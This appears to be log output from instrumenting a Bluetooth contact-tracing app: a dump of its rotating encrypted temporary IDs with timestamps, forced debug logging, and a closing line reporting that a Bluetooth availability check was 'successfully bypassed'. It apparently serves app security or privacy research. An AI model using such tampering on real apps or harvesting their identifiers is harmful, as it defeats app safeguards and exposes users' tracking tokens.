{expiryTime=1594966092, startTime=1594965192, tempID=k5wDgs8TPFYrZIv1aNCOMieJOK9IXhLAtFG5W7mfFwP0ayF77PkTnkkW+7ZuAUgXb2JL1MWwb4AErSibdg==}, {expiryTime=1594966992, startTime=1594966092, tempID=srWc5vRyfJ2btMOjjGp6Ajm5oZ6m7jCbVuZ4PxXsveNjZ5GLMiGMfxEStbehkDQJq+5giJjDM1L30uKL3g==}, {expiryTime=1594967892, startTime=1594966992, tempID=g7h/yN+WXppYlDaENO34NfHt8yx8FUC3ap+ncUCGsO5lHw/8kXodMWPFGBEaLFhNkwvipyv4a/3G4zyglg==}, {expiryTime=1594968792, startTime=1594967892, tempID=NhosYsqOr2WHqCz06B86UdHev5ZVd5FV/9eYKXjr0+qU+NDDs0S2oOjeL9IEF06q4R+ikjdY7yGyZKTgHQ==}, {expiryTime=1594969692, startTime=1594968792, tempID=3C5K+4W25I0ow0NNogoqIW2bfJ6d+frQ76TtULFDCHz7t58V5/FSa5maQ6vIqHNjCEpuBNNI+KScp1WX1g==}, {expiryTime=1594970592, startTime=1594969692, tempID=md8kleOc+z2Plh/q56CSWwxXupLpOIHE7p6Ov5vBfQyxeTgHYI2k8spmFd/mdEQIzxQfQSAUr5I+NB0L+Q==}, {expiryTime=1594971492, startTime=1594970592, tempID=zo8zi63siR5xNlrt92vahV9Qge5NXW7vvs+q6y3KAM9kRo8NTQUAqvFesfBgKdUmTiLH7qD4QdkosiRvww==}, {expiryTime=1594972392, startTime=1594971492, tempID=kgj6L1WTLXnGIOlszQVWdtb5zm3//mG/wL7AOaX+2KppDW28KizDHe9WLlU79a/KM8NyZG6YjpFeprP3BA==}, {expiryTime=1594973292, startTime=1594972392, tempID=iqicuKI5drqEBJbICZACDvVS6B+rM2LQS3yqnnig2xVC3JTbhxbSmOXz1Wh7o1lrvIG0r/pFeRqXwPjsww==}, {expiryTime=1594974192, startTime=1594973292, tempID=0sF2qpZcK9p25bR5a8cy0/Fvt4FOHtd+tUInPzXitpnwbT+sMfnRcvGc5qGEpKj3X+n05VPm6ZtuLRSDCQ==}, {expiryTime=1594975092, startTime=1594974192, tempID=/uwcYhjZ3vWEPE7QiBCSOWEOmtdwvZ+8pO86HtWTRpoXVjc/PHZarPY5NWOV2aitmhJb91j9DMXrZeZ/yQ==}, {expiryTime=1594975992, startTime=1594975092, tempID=eBqzyZBi33QwPTU0/J8X3CCc8lx0ws71U9G9SuK1eIXYbekTeh0hL8bqpqzcRCvRRBwSWG0co0dqgfU36A==}, {expiryTime=1594976892, startTime=1594975992, tempID=276jgTsq6dYGpL4RcrxKqd2ryFNz0Joo485M4gYF6uw2WOG6oV2rvcOKVY1dDHqkkRbNyzlZC5hB/WLwpw==}, {expiryTime=1594977792, startTime=1594976892, tempID=dLIvBLsGXVOFjQIITh/w9eYZmpqxoJnU47MTv04Ajyi+d4Sx8NXNij9Wvi93yXsBgCiHUx2MEnSj8J9AVQ==}, {expiryTime=1594978692, startTime=1594977792, tempID=P81wLke7D4Ypr4MKhSgWgNBWvfgqab4u+B86UF+qzbA29SaM9WAM9T3EUmMO8rhlSUILWlq0Jo5vqWnolg==}, {expiryTime=1594979592, startTime=1594978692, tempID=GIWNMpS7kiLL/xQZAjhpK1cyNsfnnlmWXUdD8l/IzOY2hS8jd4u64OVqaJzF8IFaRIpnJfapF1Fml9eeXw==}, {expiryTime=1594980492, startTime=1594979592, tempID=yRS4j/06WTdjTjFdvKNl6N08iO0VR7RUERhLO/4/JPpmf2NbtZV4gvuHC3OqOde6ZXO5wTKLDSA4fMo2jQ==}, {expiryTime=1594981392, startTime=1594980492, tempID=Mjr8e71rhjQUdw4UJPzxZ0Y1hQieQNuC8skF1hUYCN5TxMHpwrirrO4hwNIH1qbCy1PaXvT/0v6AlJnR3w==}, {expiryTime=1594982292, startTime=1594981392, tempID=/rCjjpPMcltd4h45Fncqoz2r7ywUWKMFD+PyZoPgXePRx46DzeYvqaW6vlvYLAmiGzvodDS0R3JNoypHyw==}, {expiryTime=1594983192, startTime=1594982292, tempID=rxidM4JbpsKwAxS2Tv3iIbabu5aR8O4KldYEiusPd7MgpatUjhrOrLPzdby8uUekqClzaJqfuzPLOfqxeQ==}, {expiryTime=1594984092, startTime=1594983192, tempID=Vy5EBroX09Oc4O6arTxfgQrzm9Q99T1BeVwBa5gogHgdgY/q4wPC9simu6zx1QHAYtsWMbNu2jaA3xxZ7g==}, {expiryTime=1594984992, startTime=1594984092, tempID=R4XwXND2hAtq8fvUHROkh038H9g3PJGpjdHWmAdwZAiGc6yQWbnql8+oRgj+IoOOLKfr/xuu1hqGsGI77g==}, {expiryTime=1594985892, startTime=1594984992, tempID=1u6bzgK+LGfBeG8q/n2G4tvNDkhC3gnqj4h+swu6rXBlQt6J5wWO5lVGRbusRFqiMQmzDed+C5vE1vufVA==}, {expiryTime=1594986792, startTime=1594985892, tempID=2IfHr5DRnQ5XkoLRAU8K2Pqswsfu0L18Hpl1FvjGkXiVw/SmlaUPlGkW7x+DYMTw/DW+4N3+11AuHa9S+g==}, {expiryTime=1594987692, startTime=1594986792, tempID=0xQsFo8l06AqpLclp+PPwp3FhR/bbyc8xegXT3GwAlP/GLLnHfbyS563quHy6FEP5hH+7rXgmmub0csrRw==}, {expiryTime=1594988592, startTime=1594987692, tempID=w4QW/oCpQED3p0pE3uxR2+fnjdSdziH4t1AOptvandzWqnqwPgvH9xeIX9+L0tIwUbjWduwmaCYCU4mcHQ==}, {expiryTime=1594989492, startTime=1594988592, tempID=haMseUm/PU8wecFi+1P+gauEcHi6Hyqw442uomckyyCNGDt2jukIdK1gHQLUmL7MzIiU6jhZTFb0MANrzA==}, {expiryTime=1594990392, startTime=1594989492, tempID=KWGbWPvmqYOqeYEiqwHbfCcc30MeisWXvxIOznqDh41gVjssP3FI1WmwNfpMjkkrhi8ZBcORtBpndSMTGA==}, {expiryTime=1594991292, startTime=1594990392, tempID=Vofzn+Mn7hR3N6PhRUndQ965Gj60hHO6VEK/MQOQfwac35GNVwyzpP/Zlxpvc0/qIpjnZDiiJYDXSmrbVA==}, {expiryTime=1594992192, startTime=1594991292, tempID=BidJO18ENU/uF43uA6w/BXdEjlSiBCLrSgFbHx9NTDaI4G2JRgxLTwWOPWaPexe8mrcPVmn0D7tFpX6w7Q==}, {expiryTime=1594993092, startTime=1594992192, tempID=c0QZ1ITgShMk/1myhcMxIa8v5ZTwlzttz+HnnTce6bAmRuaQkKk+vo/IMpLdmdBZ1KLdGPXO+xJ1+lzSIA==}, {expiryTime=1594993992, startTime=1594993092, tempID=CXrTiXUioj1Xlpvi2oAobCYED2Nfmz7HduV8sOa+bi5xfw7MiUhKu32PxQLGhWsroEwqUo4ZAZMJDZstQQ==}, {expiryTime=1594994892, startTime=1594993992, tempID=y+ZBeANWzV8nGt0HApktrQQieutwh3GLlwAv3wQCbkVyUI5OUDlxo/982RC37HzLEqFIWnjatmuuGd3jAg==}, {expiryTime=1594995792, startTime=1594994892, tempID=yRMWNMqC7W8ePYknavjMcBjIm8M4Qb0iMIhoMN1GZaON3EcaDdDGl2DLabOm2NhTK04Gg5fFAyc23q3ZQg==}, {expiryTime=1594996692, startTime=1594995792, tempID=wybHRP7bV7lOi9T4jn5MAMJF8nI4STpCj4xC2j3Yma3AGmTccrdPw8V1iwXMVjbFvzmXYl8I6M9E9fm8Fw==}, {expiryTime=1594997592, startTime=1594996692, tempID=mTuWOcwQaBWQ4GOFuLQfzQvzdlLqY8O5Ql0nk4Slr7EwQ/SWQQQF4x+Ph62qQhftkBLXbEnclF5tnP8qDA==}, {expiryTime=1594998492, startTime=1594997592, tempID=fiJ4lPOdFykVSG74hjO00dozmzRAbKvFTlRBGOI+4kUEhUZrxc/x9ZZ25PILd9UQMi+DIPJlv9M3uwrKhQ==}, {expiryTime=1594999392, startTime=1594998492, tempID=8Zfe5R2O/sioji+nqZldkGanv6AwxExhEyA56St9QMyePO3uPZL9V6bfct7E0pOMHzwTPX5kxowmoOKV8w==}, {expiryTime=1595000292, startTime=1594999392, tempID=6LDmeSTJCIsb9lsQHYbg8XoPxjd5Da7GEPLifdnK76+yBq6vlLbRAmAW1S4dUsNJ9Jq0jonqLP5UXFOYOA==}, {expiryTime=1595001192, startTime=1595000292, tempID=hOAwSJhgQvafiDx2ykBKRDiPUKZSAaAGdbdBttHUg3FsW/5mMp+KaJskrB/aLovpttELXGDqEYFdJQe6Jw==}, {expiryTime=1595002092, startTime=1595001192, tempID=j9pRwOch3d0WvbV55P20s4e8gM2dzrgpoXcHQ0ipeQHLXPPrdZ1DDtTA2sM3lUCgsHcG63QktMvydsKfcw==}, {expiryTime=1595002992, startTime=1595002092, tempID=ISwuTGhMPMw62qpBMtsFS1xxVLFvYf4XrnDukerF6pGQ8unkUI766S04SNRO9YbjQAePir1pn8LAfBm4Gw==}, {expiryTime=1595003892, startTime=1595002992, tempID=e9mIhi6XhrU1/aGnnS6hmVWRiW3B85K7ydrLas9+jIuOTq/4gowKML0fS14133SyG/VlpXTSt37uKjQm7w==}, {expiryTime=1595004792, startTime=1595003892, tempID=wyWgMXTJmWvS+fplzR8G07Sw/ZjgOv4vhZBgMaACfNFhmjOLT2jr6IxLNjgPKmnlQ/zmoIW7EVARwVgrug==}, {expiryTime=1595005692, startTime=1595004792, tempID=BzLBuxXNarHj3BwTrRc8cGbkPU9B05gDwSnY/2lfvCdDRFaf1gimjmChr0uu08uaNqyxx2KBOzpbjrSzpQ==}, {expiryTime=1595006592, startTime=1595005692, tempID=tPIon7gi1aQC4gXw7YuFR6wVhQ9llzAfJvoNyv34Q8dUCiYH6lVQd4X0/+aMzY454rgABnteaTx6X7p7BQ==}, {expiryTime=1595007492, startTime=1595006592, tempID=8AS8yU3MNVb4Lft47Z2wUiHeKAZMNqnFOG3xOWnAqcRPG4fN3sdmeapY6YhpIlHxXandkDrWeFPrSSDNxA==}, {expiryTime=1595008392, startTime=1595007492, tempID=bqgwPdsacsySx2sPsXIS3qt11gFMPXa9pPbEbXSxDHazT8wLsyJwvLCUwnM80V+wpav0pYFvOoQHfUbaKw==}, {expiryTime=1595009292, startTime=1595008392, tempID=Qj0C283aSKE5ifQiXNaor9ufO1NqTAJfYfEM5pOcfTKr6sEIfEDeCOB+iJiHU7orD/22FGQ5qojJWSK8zA==}, {expiryTime=1595010192, startTime=1595009292, tempID=CGFjtxRwvUKwxACmu9gIX0YagMehnUjEusgJVy2K8owoB6rNYHDJVTiQ60qX8ePNSurEEEpUYETLZjYntw==}, {expiryTime=1595011092, startTime=1595010192, tempID=KobMenor8bJvKWFWLPYv+u2tsAoO06OUoEPp3K5xoCkGMP7YzCHHL3uQ6B9sStl6Fo2UnEdCV92Lhviowg==}, {expiryTime=1595011992, startTime=1595011092, tempID=RTadb0ucqmJfGCZtKyQ1L5shps5buFTXI6miou60itw2jALLzFhCH/NVna7PUMXNUJUnC/iWuZiaHpARQw==}, {expiryTime=1595012892, startTime=1595011992, tempID=TT/M0tXRp30AhbUFJG4UbkUb+1pyEBX5MNdErGRpVSITxn0F/eBzVQMhtk++uv+ooxLR1CSE/67kNcNeKQ==}, {expiryTime=1595013792, startTime=1595012892, tempID=ynJFf9NsDprW/GJYrYi3jjOBlrYLfLnC9vKpYFrHRuKP7WiR9Hgzs0oxb96pFkJhSAuB8txYtnA+kG5oZA==}, {expiryTime=1595014692, startTime=1595013792, tempID=e21gQZeQzzrWWG8jA0CKS0EcDp6uA+uw6Lz/Ux51VVXr7dsByYWBVL48MMRuN2X/HYcoysdcKclEUVyE+Q==}, {expiryTime=1595015592, startTime=1595014692, tempID=V+3fUnS90+ZBF2A8WYuKdT31gboqzzqCXm4QNgeeAcEPHEVPFdwpC76bcTXSGQEjz5dOU4ug161tcHvV0Q==}, {expiryTime=1595016492, startTime=1595015592, tempID=nnO5pVcGXBpSgOJjnsuil77wr54ByuJFl4np9aSZUSjqKYsATEYikFJckdCx9rNG/fh8Xb82z8WF+6wBpw==}, {expiryTime=1595017392, startTime=1595016492, tempID=4DZsCEtd25z52wnxFg9g+meksgkzYjSsrToDcHXZJWIG0y2rqk4aQMCT6L7hf/8hpyqGFsPHOAWFhkNyUw==}, {expiryTime=1595018292, startTime=1595017392, tempID=CJT7FZvw0iq08sD/0qG5W/9fWf5kIonHsgbTzSgeBqgPgzdRaykFGpGwn2rwOJsyLQw2FDQE2I0aW1KoYg==}, {expiryTime=1595019192, startTime=1595018292, tempID=ZheuRXAXUuBrsKilHsD4KnQ80I0dDXjPmTsLueabb6SGT08hLVnjmte/LeqsjQnjhxKsIn7Da6QC6eQLvQ==}, {expiryTime=1595020092, startTime=1595019192, tempID=QfNwk7gvVJX5rY1G7DZlTfciAEd9LWZIJQ6Orb9hLxgQdBdqRY9exod/AEufPZpG4L3E3PqHtW24l3oYRg==}, {expiryTime=1595020992, startTime=1595020092, tempID=KpmR1y7kvGv/C5VWys8PClrIOkQVhbk+bhutkThlmgXWA/BsgHScWFuT+6nGcJb4zfhafC7kqfmD4Tuqig==}, {expiryTime=1595021892, startTime=1595020992, tempID=i4UaS3k429NVoV24YruFBjePCjjGfPRWBaFRN0i7iCB3pA6pG12kmJEPBdxEdQWbK6yPAwh2FbxyQdFYEg==}, {expiryTime=1595022792, startTime=1595021892, tempID=ZymjuAcU+6wV8C8+/yRAVudNu+xOkQTUTo8rdfydJoRUSIDF9tUODKt03Ofkt4dAAaqCfAWXF99MfMr4Bg==}, {expiryTime=1595023692, startTime=1595022792, tempID=Q5L9Xnu8c3wPOLi0JIWYfJr2Bf0NgGEZ7TaJ2+IRNncRQAddynUA4DCr/k1qk3iaYHt5sr8enANn6N0ekA==}, {expiryTime=1595024592, startTime=1595023692, tempID=R4Uq5glXrNODWrgwZF1ki6r8Y8j8lNUTYEt0d/ImPOq3QIukXSOU7M27XbNspMBHlyjJEcSaoMWu+cAYMw==}, {expiryTime=1595025492, startTime=1595024592, tempID=8Jx1FZnDZKgGohhgIbn98mF20ZLuo9BXeNG1nZSBD5BQ5Ls2KHkhtAMppp0GKbxmjbp0imi/TI8jWlkJvA==}, {expiryTime=1595026392, startTime=1595025492, tempID=PbgVTebVGKjqwpzNgwIzQYJRmH+FfWQiKgfsuCpv1/CpGqkNtJt3tW9cVpt1T1LS3ilLmuJYfMcfyFbfmg==}, {expiryTime=1595027292, startTime=1595026392, tempID=+FW/hK7KWFZjQUmrQco/p0LdoGP9Rwffxy0vaDizO7a1XqcRzg4Sivih/7Ylm8SJQGBRtA89HKxi9cwVfw==}, {expiryTime=1595028192, startTime=1595027292, tempID=4sA8VRRzjtiFQTgo5kV0FpCfCHVbOy16wh2U5sdFYHD188k0lCHpD64tJWcP6HV/HveNfXYTF7bp9sFRyQ==}, {expiryTime=1595029092, startTime=1595028192, tempID=1YW3R8O+sohC/A95MxJkB3v9QzGQo84BptcBHlfzd+NoQuf99YuNS2ocRnpL8GZbbRI4QFwTDEtEO7SyjQ==}, {expiryTime=1595029992, startTime=1595029092, tempID=ojPboDQLDNenloCqSrD4+LIS9d11eclPC52Pp9MkS8OG8xjPOOz8sUETy7X35lB1amL9/PUIZHnnQeyXXQ==}, {expiryTime=1595030892, startTime=1595029992, tempID=ImhsQ30aWFK7JYgtC3lw27aj/cDJl5iwK+AjGcr5OgO8hDdbhpkaRIidJa7t7S5u8E/bLwdpz21QHmG07Q==}, {expiryTime=1595031792, startTime=1595030892, tempID=pLy4tq7E+GY+pG7mBO/0ca84GdsXz4Q8EUJJ0h3WGudWlANJWtCEIMMF28VpmzuLMG2Eu8cAOg/m7bBZCQ==}]
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [DEBUG] : TempIDManager, NOT-IDLE status: SUCCESS
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [WARN] : TempIDManager, NOT-IDLE Retrieved Temporary IDs from Server
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [DEBUG] : TempIDManager, NOT-IDLE [TempID] Storing temporary IDs into internal storage...
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [DEBUG] : FirebaseAnalyticsEvent, NOT-IDLE StoreTempID_Successful
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [DEBUG] : TempIDManager, NOT-IDLE refresh: 1594992192000
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [DEBUG] : TempIDManager, NOT-IDLE lastFetch: 1594948990985
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [INFO] : BTMService, NOT-IDLE Command is:SCAN
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [INFO] : TempIDManager, NOT-IDLE Need to update and fetch TemporaryIDs? 1594992192000 vs 1594948991013: false
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [INFO] : BTMService, NOT-IDLE [TempID] Don't need to update Temp ID in actionScan
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [INFO] : BTMService, NOT-IDLE Command is:ADVERTISE
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [INFO] : BLEAdvertiser, NOT-IDLE Advertising onStartSuccess
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [INFO] : BLEAdvertiser, NOT-IDLE Settings [mAdvertiseMode=0, mAdvertiseTxPowerLevel=3, mAdvertiseConnectable=true, mAdvertiseTimeoutMillis=0]
[ + ] IsBTAvailable check successfully bypassed!